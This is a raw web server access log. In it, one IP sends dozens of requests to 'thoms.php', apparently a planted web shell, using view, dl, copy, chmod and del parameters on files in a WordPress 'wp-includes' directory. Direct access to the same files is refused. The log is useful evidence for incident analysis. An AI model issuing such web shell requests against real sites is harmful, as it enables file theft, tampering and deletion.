45.135.193.11 - - [11/Sep/2026:23:46:24 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-roles.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11897 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-roles.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:24 -0400] "GET /thoms.php?chmod=class-wp-customize-widgets.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11547 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-widgets.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:24 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-http-cookie.php HTTP/1.1" 200 14680 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-http-cookie.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:24 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-post.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:24 -0400] "GET /thoms.php?dl=class-wp-styles.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?dl=class-wp-styles.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:24 -0400] "GET /thoms.php?dl=capabilities.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=capabilities.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:24 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-theme.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:24 -0400] "GET /booking-wise2.com.tw/wp-includes/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:24 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ffeed-atom.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ffeed-atom.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:25 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-user-request.php HTTP/1.1" 200 12640 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-user-request.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:25 -0400] "GET /thoms.php?dl=fonts.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=fonts.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:25 -0400] "GET /thoms.php?del=block-bindings&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=block-bindings&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:25 -0400] "GET /thoms.php?dl=class-wp-filter-sentinel.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59403 "http://163.245.207.76:443/thoms.php?dl=class-wp-filter-sentinel.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:25 -0400] "GET /thoms.php?dl=comment.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=comment.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:25 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=general-template.php HTTP/1.1" 200 63157 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=general-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:25 -0400] "GET /thoms.php?chmod=post-formats.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=post-formats.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:26 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=query.php HTTP/1.1" 200 18074 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:25 -0400] "GET /thoms.php?del=ms-site.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=ms-site.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:26 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fl10n HTTP/1.1" 200 13673 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fl10n" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:26 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-feed.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-feed.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:26 -0400] "GET /thoms.php?del=certificates&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=certificates&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:26 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-walker-category.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-walker-category.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:26 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-walker-page.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-walker-page.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:26 -0400] "GET /thoms.php?chmod=rewrite.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=rewrite.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:26 -0400] "GET /thoms.php?chmod=robots-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=robots-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:26 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2FText HTTP/1.1" 200 13203 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2FText" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:26 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-block-templates-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:26 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-navigation-fallback.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:26 -0400] "GET /thoms.php?del=class-wp-customize-section.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-section.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:26 -0400] "GET /booking-wise2.com.tw/wp-includes/feed-atom-comments.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:27 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-xmlrpc-server.php HTTP/1.1" 200 61401 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-xmlrpc-server.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:27 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fquery.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fquery.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:27 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=shortcodes.php HTTP/1.1" 200 19793 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=shortcodes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:27 -0400] "GET /thoms.php?dl=class-wp-speculation-rules.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59403 "http://163.245.207.76:443/thoms.php?dl=class-wp-speculation-rules.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:27 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fphp-compat HTTP/1.1" 200 12693 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fphp-compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:27 -0400] "GET /thoms.php?chmod=class-wp-customize-section.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-section.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:27 -0400] "GET /thoms.php?chmod=class-wp-locale.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=class-wp-locale.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:27 -0400] "GET /booking-wise2.com.tw/wp-includes/registration.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:27 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=pluggable.php HTTP/1.1" 200 48148 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=pluggable.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:27 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=view-config.php HTTP/1.1" 200 17556 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=view-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:27 -0400] "GET /thoms.php?dl=http.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=http.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:27 -0400] "GET /thoms.php?del=compat.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=compat.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:28 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=cache-compat.php HTTP/1.1" 200 14671 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=cache-compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:28 -0400] "GET /thoms.php?del=block-supports&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=block-supports&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:28 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-source.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11900 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-source.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:28 -0400] "GET /thoms.php?chmod=version.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=version.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:28 -0400] "GET /thoms.php?del=class-wp-object-cache.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59339 "http://163.245.207.76:443/thoms.php?del=class-wp-object-cache.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:28 -0400] "GET /thoms.php?del=class-wp-oembed-controller.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-oembed-controller.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:28 -0400] "GET /thoms.php?del=spl-autoload-compat.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?del=spl-autoload-compat.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:29 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-navigation-fallback.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11905 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-navigation-fallback.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:29 -0400] "GET /thoms.php?dl=block-editor.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59310 "http://163.245.207.76:443/thoms.php?dl=block-editor.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:29 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-roles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:29 -0400] "GET /thoms.php?dl=class-wp-http-requests-hooks.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59429 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-requests-hooks.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:29 -0400] "GET /thoms.php?dl=class-wp-metadata-lazyloader.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59401 "http://163.245.207.76:443/thoms.php?dl=class-wp-metadata-lazyloader.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:29 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-user.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11897 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-user.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:30 -0400] "GET /booking-wise2.com.tw/wp-includes HTTP/1.1" 301 795 "http://163.245.207.76:443/booking-wise2.com.tw/wp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:30 -0400] "GET /booking-wise2.com.tw/wp-includes/ HTTP/1.1" 200 9335 "https://163.245.207.76:443/booking-wise2.com.tw/wp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:30 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fabilities-api&p= HTTP/1.1" 200 12409 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fabilities-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:30 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fassets HTTP/1.1" 200 13131 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fassets" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:29 -0400] "GET /thoms.php?del=shortcodes.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59417 "http://163.245.207.76:443/thoms.php?del=shortcodes.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:30 -0400] "GET /thoms.php?chmod=class-wp-customize-manager.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11548 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-manager.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:30 -0400] "GET /booking-wise2.com.tw/wp-includes/plugin.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:30 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-customize-nav-menus.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11903 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-customize-nav-menus.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:30 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-recovery-mode-email-service.php HTTP/1.1" 200 15863 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-recovery-mode-email-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:30 -0400] "GET /booking-wise2.com.tw/wp-includes/canonical.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:30 -0400] "GET /thoms.php?chmod=class-wp-post-type.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=class-wp-post-type.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:30 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2FSimplePie&p= HTTP/1.1" 200 12378 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2FSimplePie&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:30 -0400] "GET /thoms.php?chmod=class-wp-block-bindings-source.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-bindings-source.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:30 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-filter-sentinel.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
